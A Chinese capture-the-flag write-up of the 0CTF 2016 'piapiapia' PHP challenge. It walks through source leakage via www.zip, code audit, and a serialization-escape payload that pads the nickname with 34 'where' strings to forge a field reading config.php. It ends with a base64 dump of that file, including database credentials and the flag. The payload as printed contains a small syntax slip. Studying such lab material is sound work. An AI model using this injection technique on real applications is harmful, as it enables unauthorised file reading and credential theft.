[0CTF 2016]piapiapia

image-20240523191332318

好耶!!!

可爱猫猫,有可爱猫猫的题能有什么坏心思(希望)

尝试几个sql注入无果

开始信息搜集

我习惯先用www.zip和robots.txt试一试,不行再用扫描工具(不知道习惯好还是不好。。。)

然后发现www.zip是可以的,所以,我们下载到了源码

image-20240523193909317

怎么办

都打开看看,然后进入难过的代码审计时间

最后发现了唯一一个读文件的地方

image-20240523193937737

在photo这里

所以我们要想办法就是读取我们想要的文件

即config.php

image-20240523194555497

之后我们还可以看到profile有一个发序列化,所以,我们的思路就应该是构造序列化,最后我们能读到文件。

所以怎么看呢?

先试试正常注册吧

最后注册登录之后进入了update.php

image-20240523202132736

所以,我们是不能用photo传什么xxx.php啥的

所以,我们应该是就是在nickname那里进行注入

所以

结合之前我们发现的序列化和反序列化

我们猜测这是一道反序列化逃逸的题!!!

好抽象,这道题,要判断nickname是数组…好魔鬼,所以

nickname的序列化会变成

public nickname="abc"

s:8:"nickname";a:1:{i:0;s:3:"abc"}

所以这道题的思路就是通过上传的nickname伪造一个

s:5:"photo";s:10:"config.php"

所以,先随便试试

nickname="xxx";}s:5:"photo",s:10:"config.php";}

尝试一下

对了,差点忘记,我们要逃逸的字符串为

";}s:5:"photo",s:10:"config.php";}

对吧,这里是34个字符

所以,我们还要想办法让这34个字符变成合法的

也就说序列化之后我们要把

nickname="xxx";}s:5:"photo",s:10:"config.php";}

这一串代码的被认知长度加长34个字符串,怎么办呢

image-20240523205907814

这个时候我就发现了这个,所以就是说,如果我们输入where,它会被当做hacker,也就是说多出了一个字符!!!

所以这里的xxx用34个where代替

nickname="wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo",s:10:"config.php";}

好耶!

最后就是传上去之后抓包

将nickname改为数组上传形式

像是这样

image-20240523212949825

之后我们就可以进入主页,查看源代码,发现一串base64字符串,解码得到flag

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2ViYmQ4YTJkLTc3YjktNGFiNy1hM2IxLTUyMjk3ZGQwY2Y3NX0nOwo/Pgo=